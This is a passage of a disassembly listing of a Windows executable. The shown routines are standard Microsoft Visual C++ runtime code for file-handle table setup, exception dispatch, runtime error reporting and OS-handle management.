		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC33
		xor	esi, esi
		jmp	short loc_41CC3E
; ---------------------------------------------------------------------------

loc_41CC33:				; CODE XREF: sub_41CB20+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155D0
		add	esp, 0Ch

loc_41CC3E:				; CODE XREF: sub_41CB20+111j
		push	edi
		call	dword_4211A4
		mov	eax, esi
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------

loc_41CC49:				; CODE XREF: sub_41CB20+39j
					; sub_41CB20+61j ...
		xor	eax, eax

loc_41CC4B:				; CODE XREF: sub_41CB20+D6j
					; sub_41CB20+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41CB20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC52	proc near		; CODE XREF: .nsp0:00417B67p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC72
		push	1Bh
		call	sub_417BEE
		pop	ecx

loc_41CC72:				; CODE XREF: sub_41CC52+16j
		mov	dword_46A7E0, esi
		mov	dword_46A8E0, 20h
		lea	eax, [esi+100h]

loc_41CC88:				; CODE XREF: sub_41CC52+52j
		cmp	esi, eax
		jnb	short loc_41CCA6
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_46A7E0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------

loc_41CCA6:				; CODE XREF: sub_41CC52+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_421164
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41CD82
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41CD82
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41CCDC
		mov	esi, eax

loc_41CCDC:				; CODE XREF: sub_41CC52+86j
		cmp	dword_46A8E0, esi
		jge	short loc_41CD36
		mov	edi, offset dword_46A7E4

loc_41CCE9:				; CODE XREF: sub_41CC52+DAj
		push	100h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41CD30
		add	dword_46A8E0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41CD07:				; CODE XREF: sub_41CC52+CFj
		cmp	eax, ecx
		jnb	short loc_41CD23
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41CD07
; ---------------------------------------------------------------------------

loc_41CD23:				; CODE XREF: sub_41CC52+B7j
		add	edi, 4
		cmp	dword_46A8E0, esi
		jl	short loc_41CCE9
		jmp	short loc_41CD36
; ---------------------------------------------------------------------------

loc_41CD30:				; CODE XREF: sub_41CC52+A4j
		mov	esi, dword_46A8E0

loc_41CD36:				; CODE XREF: sub_41CC52+90j
					; sub_41CC52+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41CD82

loc_41CD3C:				; CODE XREF: sub_41CC52+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CD79
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41CD79
		test	cl, 8
		jnz	short loc_41CD5B
		push	eax
		call	dword_421030
		test	eax, eax
		jz	short loc_41CD79

loc_41CD5B:				; CODE XREF: sub_41CC52+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7E0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41CD79:				; CODE XREF: sub_41CC52+EFj
					; sub_41CC52+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41CD3C

loc_41CD82:				; CODE XREF: sub_41CC52+65j
					; sub_41CC52+71j ...
		xor	ebx, ebx

loc_41CD84:				; CODE XREF: sub_41CC52+195j
		mov	eax, dword_46A7E0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41CDDF
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41CD9F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41CDA9
; ---------------------------------------------------------------------------

loc_41CD9F:				; CODE XREF: sub_41CC52+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41CDA9:				; CODE XREF: sub_41CC52+14Bj
		push	eax
		call	dword_421034
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41CDCE
		push	edi
		call	dword_421030
		test	eax, eax
		jz	short loc_41CDCE
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41CDD4

loc_41CDCE:				; CODE XREF: sub_41CC52+163j
					; sub_41CC52+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------

loc_41CDD4:				; CODE XREF: sub_41CC52+17Aj
		cmp	eax, 3
		jnz	short loc_41CDE3
		or	byte ptr [esi+4], 8
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------

loc_41CDDF:				; CODE XREF: sub_41CC52+13Ej
		or	byte ptr [esi+4], 80h

loc_41CDE3:				; CODE XREF: sub_41CC52+180j
					; sub_41CC52+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41CD84
		push	dword_46A8E0
		call	dword_421038
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41CC52	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE08	proc near		; DATA XREF: .nsp0:00417B02o
					; sub_41A69A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CEA8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41CE3B:				; CODE XREF: sub_41CE08+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CEA1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE8F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE8F
		js	short loc_41CE9A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416368
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4163AA
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41643E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41CE8F:				; CODE XREF: sub_41CE08+40j
					; sub_41CE08+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE3B
; ---------------------------------------------------------------------------

loc_41CE9A:				; CODE XREF: sub_41CE08+54j
		mov	eax, 0
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------

loc_41CEA1:				; CODE XREF: sub_41CE08+36j
		mov	eax, 1
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------

loc_41CEA8:				; CODE XREF: sub_41CE08+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41CEBD:				; CODE XREF: sub_41CE08+97j
					; sub_41CE08+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEE0	proc near		; CODE XREF: sub_417BEE+9p
					; sub_417C13+9p
		mov	eax, dword_469508
		cmp	eax, 1
		jz	short loc_41CEF7
		test	eax, eax
		jnz	short locret_41CF18
		cmp	dword_437D84, 1
		jnz	short locret_41CF18

loc_41CEF7:				; CODE XREF: sub_41CEE0+8j
		push	0FCh
		call	sub_41CF19
		mov	eax, dword_469670
		pop	ecx
		test	eax, eax
		jz	short loc_41CF0D
		call	eax

loc_41CF0D:				; CODE XREF: sub_41CEE0+29j
		push	0FFh
		call	sub_41CF19
		pop	ecx

locret_41CF18:				; CODE XREF: sub_41CEE0+Cj
					; sub_41CEE0+15j
		retn
sub_41CEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF19	proc near		; CODE XREF: sub_417BEE+12p
					; sub_417C13+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383F8

loc_41CF2C:				; CODE XREF: sub_41CF19+20j
		cmp	edx, [eax]
		jz	short loc_41CF3B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438488
		jl	short loc_41CF2C

loc_41CF3B:				; CODE XREF: sub_41CF19+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4383F8[esi]
		jnz	loc_41D069
		mov	eax, dword_469508
		cmp	eax, 1
		jz	loc_41D043
		test	eax, eax
		jnz	short loc_41CF6C
		cmp	dword_437D84, 1
		jz	loc_41D043

loc_41CF6C:				; CODE XREF: sub_41CF19+44j
		cmp	edx, 0FCh
		jz	loc_41D069
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42107C
		test	eax, eax
		jnz	short loc_41CFA3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx

loc_41CFA3:				; CODE XREF: sub_41CF19+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41CFE6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D40
		add	esp, 10h

loc_41CFE6:				; CODE XREF: sub_41CF19+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415C00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415C10
		push	off_4383FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415C10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6EE
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D069
; ---------------------------------------------------------------------------

loc_41D043:				; CODE XREF: sub_41CF19+3Cj
					; sub_41CF19+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_421034
		push	eax
		call	dword_421070

loc_41D069:				; CODE XREF: sub_41CF19+2Ej
					; sub_41CF19+59j ...
		pop	esi
		leave
		retn
sub_41CF19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D06C	proc near		; CODE XREF: sub_417C37+6Cp
					; sub_41B8B0+32p ...

arg_0		= dword	ptr  4

		inc	dword_469674
		push	1000h
		call	sub_415DC9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D095
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D0A6
; ---------------------------------------------------------------------------

loc_41D095:				; CODE XREF: sub_41D06C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41D0A6:				; CODE XREF: sub_41D06C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B0	proc near		; CODE XREF: sub_417C37+61p
					; sub_4187B6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8E0
		jb	short loc_41D0BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0BF:				; CODE XREF: sub_41D0B0+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7E0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0D6	proc near		; DATA XREF: .nsp0:00423020o
		mov	eax, dword_46A7C0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0EA
		mov	eax, 200h
		jmp	short loc_41D0F0
; ---------------------------------------------------------------------------

loc_41D0EA:				; CODE XREF: sub_41D0D6+Bj
		cmp	eax, esi
		jge	short loc_41D0F5
		mov	eax, esi

loc_41D0F0:				; CODE XREF: sub_41D0D6+12j
		mov	dword_46A7C0, eax

loc_41D0F5:				; CODE XREF: sub_41D0D6+16j
		push	4
		push	eax
		call	sub_41E777
		pop	ecx
		mov	dword_4697A0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	4
		push	esi
		mov	dword_46A7C0, esi
		call	sub_41E777
		pop	ecx
		mov	dword_4697A0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	1Ah
		call	sub_417BEE
		pop	ecx

loc_41D129:				; CODE XREF: sub_41D0D6+30j
					; sub_41D0D6+49j
		xor	ecx, ecx
		mov	eax, offset off_438488

loc_41D130:				; CODE XREF: sub_41D0D6+6Ej
		mov	edx, dword_4697A0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_438708
		jl	short loc_41D130
		xor	edx, edx
		mov	ecx, offset dword_438498

loc_41D14D:				; CODE XREF: sub_41D0D6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_46A7E0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D16A
		test	eax, eax
		jnz	short loc_41D16D

loc_41D16A:				; CODE XREF: sub_41D0D6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41D16D:				; CODE XREF: sub_41D0D6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384F8
		jl	short loc_41D14D
		pop	esi
		retn
sub_41D0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D17B	proc near		; DATA XREF: .nsp0:00423030o

; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES

		call	sub_418740
		cmp	byte_4694F4, 0
		jz	short locret_41D18E
		jmp	loc_41E7F4
; ---------------------------------------------------------------------------

locret_41D18E:				; CODE XREF: sub_41D17B+Cj
		retn
sub_41D17B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D18F	proc near		; CODE XREF: sub_417D4C+2D4p
					; sub_417D4C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D19B
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41D19B:				; CODE XREF: sub_41D18F+8j
		cmp	dword_469548, 0
		jnz	short loc_41D1B6
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1E8
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41D1B6:				; CODE XREF: sub_41D18F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_437F9C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_469558
		call	dword_421138
		test	eax, eax
		jz	short loc_41D1E8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1F5

loc_41D1E8:				; CODE XREF: sub_41D18F+1Ej
					; sub_41D18F+51j
		mov	dword_4694B4, 2Ah
		or	eax, 0FFFFFFFFh

loc_41D1F5:				; CODE XREF: sub_41D18F+57j
		pop	ebp
		retn
sub_41D18F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1F7	proc near		; CODE XREF: sub_418556+5Ep
					; sub_41C1FF+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_469678
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D266
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	dword_421028
		test	eax, eax
		jz	short loc_41D244
		mov	eax, esi
		jmp	short loc_41D261
; ---------------------------------------------------------------------------

loc_41D244:				; CODE XREF: sub_41D1F7+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_438FF4
		push	esi
		push	ebx
		call	dword_42102C
		test	eax, eax
		jz	loc_41D32C
		push	2
		pop	eax

loc_41D261:				; CODE XREF: sub_41D1F7+4Bj
		mov	dword_469678, eax

loc_41D266:				; CODE XREF: sub_41D1F7+2Fj
		cmp	eax, 2
		jnz	short loc_41D28F
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41D277
		mov	eax, dword_469548

loc_41D277:				; CODE XREF: sub_41D1F7+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42102C
		jmp	loc_41D32E
; ---------------------------------------------------------------------------

loc_41D28F:				; CODE XREF: sub_41D1F7+72j
		cmp	eax, 1
		jnz	loc_41D32C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41D2A5
		mov	eax, dword_469558
		mov	[ebp+arg_10], eax

loc_41D2A5:				; CODE XREF: sub_41D1F7+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_421064
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41D32C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_41D2FB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41D2FB:				; CODE XREF: sub_41D1F7+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D32C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_421064
		cmp	eax, ebx
		jz	short loc_41D32C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_421028
		jmp	short loc_41D32E
; ---------------------------------------------------------------------------

loc_41D32C:				; CODE XREF: sub_41D1F7+61j
					; sub_41D1F7+9Bj ...
		xor	eax, eax

loc_41D32E:				; CODE XREF: sub_41D1F7+93j
					; sub_41D1F7+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D1F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D340	proc near		; CODE XREF: sub_41D55A:loc_41D6D2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A7E0

loc_41D34F:				; CODE XREF: sub_41D340+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D38C
		lea	edx, [eax+100h]

loc_41D35B:				; CODE XREF: sub_41D340+28j
		cmp	eax, edx
		jnb	short loc_41D37B
		test	byte ptr [eax+4], 1
		jz	short loc_41D36A
		add	eax, 8
		jmp	short loc_41D35B
; ---------------------------------------------------------------------------

loc_41D36A:				; CODE XREF: sub_41D340+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3CF

loc_41D37B:				; CODE XREF: sub_41D340+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A8E0
		jl	short loc_41D34F
		jmp	short loc_41D3CF
; ---------------------------------------------------------------------------

loc_41D38C:				; CODE XREF: sub_41D340+13j
		mov	esi, 100h
		push	esi
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3CF
		add	dword_46A8E0, 20h
		lea	ecx, ds:46A7E0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41D3B2:				; CODE XREF: sub_41D340+88j
		cmp	eax, edx
		jnb	short loc_41D3CA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D3B2
; ---------------------------------------------------------------------------

loc_41D3CA:				; CODE XREF: sub_41D340+74j
		shl	edi, 5
		mov	ebx, edi

loc_41D3CF:				; CODE XREF: sub_41D340+39j
					; sub_41D340+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3D5	proc near		; CODE XREF: sub_41D55A+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8E0
		push	edi
		jnb	short loc_41D435
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D435
		cmp	dword_437D84, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41D42B
		sub	eax, 0
		jz	short loc_41D422
		dec	eax
		jz	short loc_41D41D
		dec	eax
		jnz	short loc_41D42B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------

loc_41D41D:				; CODE XREF: sub_41D3D5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------

loc_41D422:				; CODE XREF: sub_41D3D5+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41D425:				; CODE XREF: sub_41D3D5+46j
					; sub_41D3D5+4Bj
		call	dword_421024

loc_41D42B:				; CODE XREF: sub_41D3D5+36j
					; sub_41D3D5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41D449
; ---------------------------------------------------------------------------

loc_41D435:				; CODE XREF: sub_41D3D5+Cj
					; sub_41D3D5+28j
		and	dword_4694B8, 0
		mov	dword_4694B4, 9
		or	eax, 0FFFFFFFFh

loc_41D449:				; CODE XREF: sub_41D3D5+5Ej
		pop	edi
		pop	esi
		retn
sub_41D3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D44C	proc near		; CODE XREF: sub_4185CB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_46A8E0
		push	edi
		jnb	short loc_41D4AF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D4AF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D4AF
		cmp	dword_437D84, 1
		jnz	short loc_41D4A5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D49C
		dec	ecx
		jz	short loc_41D497
		dec	ecx
		jnz	short loc_41D4A5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------

loc_41D497:				; CODE XREF: sub_41D44C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------

loc_41D49C:				; CODE XREF: sub_41D44C+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41D49F:				; CODE XREF: sub_41D44C+49j
					; sub_41D44C+4Ej
		call	dword_421024

loc_41D4A5:				; CODE XREF: sub_41D44C+38j
					; sub_41D44C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41D4C3
; ---------------------------------------------------------------------------

loc_41D4AF:				; CODE XREF: sub_41D44C+Cj
					; sub_41D44C+2Aj ...
		and	dword_4694B8, 0
		mov	dword_4694B4, 9
		or	eax, 0FFFFFFFFh

loc_41D4C3:				; CODE XREF: sub_41D44C+61j
		pop	edi
		pop	esi
		retn
sub_41D44C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4C6	proc near		; CODE XREF: sub_4185CB+32p
					; sub_4185CB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8E0
		jnb	short loc_41D4EE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7E0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4EE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41D4EE:				; CODE XREF: sub_41D4C6+Aj
					; sub_41D4C6+23j
		and	dword_4694B8, 0
		mov	dword_4694B4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D503	proc near		; CODE XREF: sub_4186A9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8E0
		jnb	short loc_41D54C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_46A7E0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D54C
		push	eax
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_421020
		test	eax, eax
		jnz	short loc_41D541
		call	dword_421088
		jmp	short loc_41D543
; ---------------------------------------------------------------------------

loc_41D541:				; CODE XREF: sub_41D503+34j
		xor	eax, eax

loc_41D543:				; CODE XREF: sub_41D503+3Cj
		test	eax, eax
		jz	short locret_41D559
		mov	dword_4694B8, eax

loc_41D54C:				; CODE XREF: sub_41D503+Aj
					; sub_41D503+22j
		mov	dword_4694B4, 9
		or	eax, 0FFFFFFFFh

locret_41D559:				; CODE XREF: sub_41D503+42j
		retn
sub_41D503	endp


